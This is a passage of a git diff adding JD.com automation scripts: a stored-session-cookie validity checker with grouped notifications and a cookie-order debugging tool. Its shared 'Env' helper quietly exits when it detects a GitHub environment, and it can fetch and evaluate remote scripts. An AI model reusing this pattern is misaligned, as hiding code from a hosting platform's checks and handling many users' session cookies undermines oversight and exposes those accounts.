TempDisableMessage; + EnableMessageGp3 += TempEnableMessage; + OErrorMessageGp3 += TempOErrorMessage; + } + if (userIndex4 != -1) { + ErrorMessageGp4 += TempErrorMessage; + SuccessMessageGp4 += TempSuccessMessage; + DisableMessageGp4 += TempDisableMessage; + EnableMessageGp4 += TempEnableMessage; + OErrorMessageGp4 += TempOErrorMessage; + } + + if (userIndex4 == -1 && userIndex2 == -1 && userIndex3 == -1) { + ErrorMessage += TempErrorMessage; + SuccessMessage += TempSuccessMessage; + DisableMessage += TempDisableMessage; + EnableMessage += TempEnableMessage; + OErrorMessage += TempOErrorMessage; + } + + } + console.log(`等待2秒....... \n`); + await $.wait(2 * 1000) + } + + if ($.isNode()) { + if (MessageUserGp2) { + if (OErrorMessageGp2) { + allMessageGp2 += `👇👇👇👇👇检测出错账号👇👇👇👇👇\n` + OErrorMessageGp2 + `\n\n`; + } + if (DisableMessageGp2) { + allMessageGp2 += `👇👇👇👇👇自动禁用账号👇👇👇👇👇\n` + DisableMessageGp2 + `\n\n`; + } + if (EnableMessageGp2) { + if (CKAutoEnable == "true") { + allMessageGp2 += `👇👇👇👇👇自动启用账号👇👇👇👇👇\n` + EnableMessageGp2 + `\n\n`; + } else { + allMessageGp2 += `👇👇👇👇👇账号已恢复👇👇👇👇👇\n` + EnableMessageGp2 + `\n\n`; + } + } + + if (ErrorMessageGp2) { + allMessageGp2 += `👇👇👇👇👇失效账号👇👇👇👇👇\n` + ErrorMessageGp2 + `\n\n`; + } else { + allMessageGp2 += `👇👇👇👇👇失效账号👇👇👇👇👇\n 一个失效的都没有呢,羡慕啊...\n\n`; + } + + if (ShowSuccess == "true" && SuccessMessage) { + allMessageGp2 += `👇👇👇👇👇有效账号👇👇👇👇👇\n` + SuccessMessageGp2 + `\n`; + } + + if (NoWarnError == "true") { + OErrorMessageGp2 = ""; + } + + if ($.isNode() && (EnableMessageGp2 || DisableMessageGp2 || OErrorMessageGp2 || CKAlwaysNotify == "true")) { + console.log("京东CK检测#2:"); + console.log(allMessageGp2); + + if (strAllNotify) + allMessageGp2 += `\n` + strAllNotify; + + await notify.sendNotify("京东CK检测#2", `${allMessageGp2}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + } + } + if (MessageUserGp3) { + if (OErrorMessageGp3) { + allMessageGp3 += `👇👇👇👇👇检测出错账号👇👇👇👇👇\n` + OErrorMessageGp3 + `\n\n`; + } + if (DisableMessageGp3) { + allMessageGp3 += `👇👇👇👇👇自动禁用账号👇👇👇👇👇\n` + DisableMessageGp3 + `\n\n`; + } + if (EnableMessageGp3) { + if (CKAutoEnable == "true") { + allMessageGp3 += `👇👇👇👇👇自动启用账号👇👇👇👇👇\n` + EnableMessageGp3 + `\n\n`; + } else { + allMessageGp3 += `👇👇👇👇👇账号已恢复👇👇👇👇👇\n` + EnableMessageGp3 + `\n\n`; + } + } + + if (ErrorMessageGp3) { + allMessageGp3 += `👇👇👇👇👇失效账号👇👇👇👇👇\n` + ErrorMessageGp3 + `\n\n`; + } else { + allMessageGp3 += `👇👇👇👇👇失效账号👇👇👇👇👇\n 一个失效的都没有呢,羡慕啊...\n\n`; + } + + if (ShowSuccess == "true" && SuccessMessage) { + allMessageGp3 += `👇👇👇👇👇有效账号👇👇👇👇👇\n` + SuccessMessageGp3 + `\n`; + } + + if (NoWarnError == "true") { + OErrorMessageGp3 = ""; + } + + if ($.isNode() && (EnableMessageGp3 || DisableMessageGp3 || OErrorMessageGp3 || CKAlwaysNotify == "true")) { + console.log("京东CK检测#3:"); + console.log(allMessageGp3); + if (strAllNotify) + allMessageGp3 += `\n` + strAllNotify; + + await notify.sendNotify("京东CK检测#3", `${allMessageGp3}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + } + } + if (MessageUserGp4) { + if (OErrorMessageGp4) { + allMessageGp4 += `👇👇👇👇👇检测出错账号👇👇👇👇👇\n` + OErrorMessageGp4 + `\n\n`; + } + if (DisableMessageGp4) { + allMessageGp4 += `👇👇👇👇👇自动禁用账号👇👇👇👇👇\n` + DisableMessageGp4 + `\n\n`; + } + if (EnableMessageGp4) { + if (CKAutoEnable == "true") { + allMessageGp4 += `👇👇👇👇👇自动启用账号👇👇👇👇👇\n` + EnableMessageGp4 + `\n\n`; + } else { + allMessageGp4 += `👇👇👇👇👇账号已恢复👇👇👇👇👇\n` + EnableMessageGp4 + `\n\n`; + } + } + + if (ErrorMessageGp4) { + allMessageGp4 += `👇👇👇👇👇失效账号👇👇👇👇👇\n` + ErrorMessageGp4 + `\n\n`; + } else { + allMessageGp4 += `👇👇👇👇👇失效账号👇👇👇👇👇\n 一个失效的都没有呢,羡慕啊...\n\n`; + } + + if (ShowSuccess == "true" && SuccessMessage) { + allMessageGp4 += `👇👇👇👇👇有效账号👇👇👇👇👇\n` + SuccessMessageGp4 + `\n`; + } + + if (NoWarnError == "true") { + OErrorMessageGp4 = ""; + } + + if ($.isNode() && (EnableMessageGp4 || DisableMessageGp4 || OErrorMessageGp4 || CKAlwaysNotify == "true")) { + console.log("京东CK检测#4:"); + console.log(allMessageGp4); + if (strAllNotify) + allMessageGp4 += `\n` + strAllNotify; + + await notify.sendNotify("京东CK检测#4", `${allMessageGp4}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + } + } + + if (OErrorMessage) { + allMessage += `👇👇👇👇👇检测出错账号👇👇👇👇👇\n` + OErrorMessage + `\n\n`; + } + if (DisableMessage) { + allMessage += `👇👇👇👇👇自动禁用账号👇👇👇👇👇\n` + DisableMessage + `\n\n`; + } + if (EnableMessage) { + if (CKAutoEnable == "true") { + allMessage += `👇👇👇👇👇自动启用账号👇👇👇👇👇\n` + EnableMessage + `\n\n`; + } else { + allMessage += `👇👇👇👇👇账号已恢复👇👇👇👇👇\n` + EnableMessage + `\n\n`; + } + } + + if (ErrorMessage) { + allMessage += `👇👇👇👇👇失效账号👇👇👇👇👇\n` + ErrorMessage + `\n\n`; + } else { + allMessage += `👇👇👇👇👇失效账号👇👇👇👇👇\n 一个失效的都没有呢,羡慕啊...\n\n`; + } + + if (ShowSuccess == "true" && SuccessMessage) { + allMessage += `👇👇👇👇👇有效账号👇👇👇👇👇\n` + SuccessMessage + `\n`; + } + + if (NoWarnError == "true") { + OErrorMessage = ""; + } + + if ($.isNode() && (EnableMessage || DisableMessage || OErrorMessage || CKAlwaysNotify == "true")) { + console.log("京东CK检测:"); + console.log(allMessage); + if (strAllNotify) + allMessage += `\n` + strAllNotify; + + await notify.sendNotify(`${$.name}`, `${allMessage}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + } + + } + +})() +.catch((e) => $.logErr(e)) +.finally(() => $.done()) + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + $.nickName = decodeURIComponent($.UserName); + $.NoReturn = `${$.nickName} :` + `${JSON.stringify(err)}\n`; + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + $.nickName = decodeURIComponent($.UserName); + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = (data.data.userInfo.baseInfo.nickname); + } else { + $.nickName = decodeURIComponent($.UserName); + console.log("Debug Code:" + data['retcode']); + $.NoReturn = `${$.nickName} :` + `服务器返回未知状态,不做变动\n`; + } + } else { + $.nickName = decodeURIComponent($.UserName); + $.log('京东服务器返回空数据'); + $.NoReturn = `${$.nickName} :` + `服务器返回空数据,不做变动\n`; + } + } + } catch (e) { + $.nickName = decodeURIComponent($.UserName); + $.logErr(e) + $.NoReturn = `${$.nickName} : 检测出错,不做变动\n`; + } + finally { + resolve(); + } + }) + }) +} +function isLoginByX1a0He() { + return new Promise((resolve) => { + const options = { + url: 'https://plogin.m.jd.com/cgi-bin/ml/islogin', + headers: { + "Cookie": cookie, + "referer": "https://h5.m.jd.com/", + "User-Agent": "jdapp;iPhone;10.1.2;15.0;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }, + } + $.get(options, (err, resp, data) => { + try { + if (data) { + data = JSON.parse(data); + if (data.islogin === "1") { + console.log(`使用X1a0He写的接口加强检测: Cookie有效\n`) + } else if (data.islogin === "0") { + $.isLogin = false; + console.log(`使用X1a0He写的接口加强检测: Cookie无效\n`) + } else { + console.log(`使用X1a0He写的接口加强检测: 未知返回,不作变更...\n`) + $.error = `${$.nickName} :` + `使用X1a0He写的接口加强检测: 未知返回...\n` + } + } + } catch (e) { + console.log(e); + } + finally { + resolve(); + } + }); + }); +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + class s { + constructor(t) { + this.env = t + } + send(t, e = "GET") { + t = "string" == typeof t ? { + url: t + } + : t; + let s = this.get; + return "POST" === e && (s = this.post), + new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + get(t) { + return this.send.call(this.env, t) + } + post(t) { + return this.send.call(this.env, t, "POST") + } + } + return new class { + constructor(t, e) { + this.name = t, + this.http = new s(this), + this.data = null, + this.dataFile = "box.dat", + this.logs = [], + this.isMute = !1, + this.isNeedRewrite = !1, + this.logSeparator = "\n", + this.startTime = (new Date).getTime(), + Object.assign(this, e), + this.log("", `🔔${this.name}, 开始!`) + } + isNode() { + return "undefined" != typeof module && !!module.exports + } + isQuanX() { + return "undefined" != typeof $task + } + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + isLoon() { + return "undefined" != typeof $loon + } + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch { + return e + } + } + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch { + return e + } + } + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) + try { + s = JSON.parse(this.getdata(t)) + } catch {} + return s + } + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + getScript(t) { + return new Promise(e => { + this.get({ + url: t + }, (t, s, i) => e(i)) + }) + } + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, + r = e && e.timeout ? e.timeout : r; + const[o, h] = i.split("@"), + n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: "cron", + timeout: r + }, + headers: { + "X-Key": o, + Accept: "*/*" + } + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + loaddata() { + if (!this.isNode()) + return {}; { + this.fs = this.fs ? this.fs : require("fs"), + this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if (!s && !i) + return {}; { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), + this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) + if (r = Object(r)[t], void 0 === r) + return s; + return r + } + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const[, s, i] = /^@(.*?)\.(.*?)$/.exec(t), + r = s ? this.getval(s) : ""; + if (r) + try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const[, i, r] = /^@(.*?)\.(.*?)$/.exec(e), + o = this.getval(i), + h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), + s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), + s = this.setval(JSON.stringify(o), i) + } + } else + s = this.setval(t, e); + return s + } + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), + this.cktough = this.cktough ? this.cktough : require("tough-cookie"), + this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, + t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + get(t, e = (() => {})) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), + this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), + e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), + e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + })) + } + post(t, e = (() => {})) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) + this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), + e(t, s, i) + }); + else if (this.isQuanX()) + t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { + url: s, + ...i + } = t; + this.got.post(s, i).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + }) + } + } + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) + new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) + return t; + if ("string" == typeof t) + return this.isLoon() ? t : this.isQuanX() ? { + "open-url": t + } + : this.isSurge() ? { + url: t + } + : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { + openUrl: e, + mediaUrl: s + } + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { + "open-url": e, + "media-url": s + } + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return { + url: e + } + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), + s && t.push(s), + i && t.push(i), + console.log(t.join("\n")), + this.logs = this.logs.concat(t) + } + } + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), + console.log(t.join(this.logSeparator)) + } + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + done(t = {}) { + const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), + this.log(), + (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + } + (t, e) +} diff --git a/jd_CkSeq.js b/jd_CkSeq.js new file mode 100644 index 0000000..92306b1 --- /dev/null +++ b/jd_CkSeq.js @@ -0,0 +1,531 @@ +/* +cron "0 0 * * *" jd_CheckCkSeq.js, tag:CK顺序调试工具by-ccwav + */ +const $ = new Env("CK顺序调试工具"); +const { + getEnvs +} = require('./ql'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; +let cookiesArr = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) +} + +let arrCkPtPin = []; +let arrEnvPtPin = []; +let arrEnvStatus = []; +let arrEnvOnebyOne = []; +let strCk = ""; +let strNoFoundCk = ""; +let strMessage = ""; + +const fs = require('fs'); +let TempCKUid = []; +let strUidFile = '/ql/scripts/CK_WxPusherUid.json'; +let UidFileexists = fs.existsSync(strUidFile); +if (UidFileexists) { + console.log("检测到一对一Uid文件WxPusherUid.json,载入..."); + TempCKUid = fs.readFileSync(strUidFile, 'utf-8'); + if (TempCKUid) { + TempCKUid = TempCKUid.toString(); + TempCKUid = JSON.parse(TempCKUid); + } +} + +!(async() => { + + const envs = await getEnvs(); + for (let i = 0; i < envs.length; i++) { + if (envs[i].value) { + var tempptpin = decodeURIComponent(envs[i].value.match(/pt_pin=([^; ]+)(?=;?)/) && envs[i].value.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + arrEnvPtPin.push(tempptpin); + arrEnvStatus.push(envs[i].status); + var struuid=getuuid(envs[i].remarks,tempptpin) + arrEnvOnebyOne.push(struuid); + } + } + + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + var tempptpin = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + var intSeq = inArray(tempptpin, arrEnvPtPin); + if (intSeq != -1) { + intSeq += 1; + arrCkPtPin.push(tempptpin); + strCk += "【"+intSeq + "】" + tempptpin ; + if (arrEnvOnebyOne[i]) { + strCk += "(账号已启用一对一推送)" + } + strCk +="\n"; + } + } + } + + for (let i = 0; i < arrEnvPtPin.length; i++) { + var tempptpin = arrEnvPtPin[i]; + var intSeq = inArray(tempptpin, arrCkPtPin); + if (intSeq == -1) { + strNoFoundCk += "【"+(i + 1) + "】" + tempptpin; + if (arrEnvStatus[i] == 1) { + strNoFoundCk += "(状态已禁用)" + } + if (arrEnvOnebyOne[i]) { + strNoFoundCk += "(账号已启用一对一推送)" + } + strNoFoundCk +="\n"; + + } + } + + if (strNoFoundCk) { + console.log("没有出现在今日CK队列中的账号: \n" + strNoFoundCk); + strMessage+="没有出现在今日CK队列中的账号: \n" + strNoFoundCk; + } + + console.log("\n今日执行任务的账号顺序: \n" + strCk); + strMessage+="\n今日执行任务的账号顺序: \n" + strCk; + + if ($.isNode()) { + await notify.sendNotify(`${$.name}`, strMessage); + } + return; +})() +.catch((e) => $.logErr(e)) +.finally(() => $.done()); + +function inArray(search, array) { + var lnSeq = -1; + for (var i in array) { + if (array[i] == search) { + lnSeq = i; + } + } + return parseInt(lnSeq); +} + +function getuuid(strRemark, PtPin) { + var strTempuuid = ""; + if (strRemark) { + var Tempindex = strRemark.indexOf("@@"); + if (Tempindex != -1) { + //console.log(PtPin + ": 检测到NVJDC的一对一格式,瑞思拜~!"); + var TempRemarkList = strRemark.split("@@"); + for (let j = 1; j < TempRemarkList.length; j++) { + if (TempRemarkList[j]) { + if (TempRemarkList[j].length > 4) { + if (TempRemarkList[j].substring(0, 4) == "UID_") { + strTempuuid = TempRemarkList[j]; + break; + } + } + } + } + } + } + if (!strTempuuid && TempCKUid) { + //console.log("正在从CK_WxPusherUid文件中检索资料..."); + for (let j = 0; j < TempCKUid.length; j++) { + if (PtPin == decodeURIComponent(TempCKUid[j].pt_pin)) { + strTempuuid = TempCKUid[j].Uid; + break; + } + } + } + return strTempuuid; +} + +// prettier-ignore +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + class s { + constructor(t) { + this.env = t + } + send(t, e = "GET") { + t = "string" == typeof t ? { + url: t + } + : t; + let s = this.get; + return "POST" === e && (s = this.post), + new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + get(t) { + return this.send.call(this.env, t) + } + post(t) { + return this.send.call(this.env, t, "POST") + } + } + return new class { + constructor(t, e) { + this.name = t, + this.http = new s(this), + this.data = null, + this.dataFile = "box.dat", + this.logs = [], + this.isMute = !1, + this.isNeedRewrite = !1, + this.logSeparator = "\n", + this.startTime = (new Date).getTime(), + Object.assign(this, e), + this.log("", `🔔${this.name}, 开始!`) + } + isNode() { + return "undefined" != typeof module && !!module.exports + } + isQuanX() { + return "undefined" != typeof $task + } + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + isLoon() { + return "undefined" != typeof $loon + } + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch { + return e + } + } + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch { + return e + } + } + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) + try { + s = JSON.parse(this.getdata(t)) + } catch {} + return s + } + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + getScript(t) { + return new Promise(e => { + this.get({ + url: t + }, (t, s, i) => e(i)) + }) + } + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, + r = e && e.timeout ? e.timeout : r; + const[o, h] = i.split("@"), + n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: "cron", + timeout: r + }, + headers: { + "X-Key": o, + Accept: "*/*" + } + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + loaddata() { + if (!this.isNode()) + return {}; { + this.fs = this.fs ? this.fs : require("fs"), + this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if (!s && !i) + return {}; { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), + this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) + if (r = Object(r)[t], void 0 === r) + return s; + return r + } + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const[, s, i] = /^@(.*?)\.(.*?)$/.exec(t), + r = s ? this.getval(s) : ""; + if (r) + try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const[, i, r] = /^@(.*?)\.(.*?)$/.exec(e), + o = this.getval(i), + h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), + s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), + s = this.setval(JSON.stringify(o), i) + } + } else + s = this.setval(t, e); + return s + } + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), + this.cktough = this.cktough ? this.cktough : require("tough-cookie"), + this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, + t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + get(t, e = (() => {})) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), + this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), + e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), + e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + })) + } + post(t, e = (() => {})) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) + this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), + e(t, s, i) + }); + else if 